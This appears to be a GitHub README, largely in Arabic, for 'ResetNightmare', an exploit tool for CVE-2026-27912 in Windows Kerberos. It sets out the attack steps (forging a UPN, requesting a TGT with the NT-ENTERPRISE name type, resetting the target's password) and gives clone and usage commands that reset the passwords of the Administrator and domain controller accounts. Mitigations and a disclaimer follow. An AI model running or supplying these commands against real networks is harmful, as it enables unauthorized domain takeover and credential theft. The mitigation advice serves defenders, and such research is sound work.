Kerberos-CVE-2026-27912

CVE-2026-27912 - ثغرة رفع امتيازات في Windows Kerberos

ResetNightmare - إعادة تعيين كلمة مرور غير مصرح بها عبر خلل في بروتوكول Kerberos Change Password.

📋 التفاصيل

🔍 خطوات الهجوم

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 المتطلبات

• Windows مع PowerShell
• وحدة ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (نزّلها من GhostPack/Rubeus)
• وصول شبكي إلى وحدة تحكم المجال

🚀 التثبيت

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 الاستخدام

هجوم أساسي

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

استهداف حساب جهاز

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

إنشاء حساب جديد

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

الوضع التفصيلي

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 المعاملات

🛡️ التخفيف

1. طبّق التصحيح الرسمي من تحديث أمان Microsoft
2. قسّم الشبكة للحد من وصول الشبكات المجاورة
3. طبّق مبدأ الامتياز الأقل - قيّد صلاحيات الكتابة على UPN
4. راقب التغييرات المشبوهة في UPN وعمليات إعادة تعيين كلمات المرور

⚠️ إخلاء المسؤولية

لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط.

الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.

📚 المراجع

• NVD: CVE-2026-27912
• دليل تحديث أمان Microsoft

👨‍💻 المؤلف

n0vax1337 / باحث أمني

📄 الترخيص

رخصة MIT - انظر LICENSE

آخر تحديث: 2026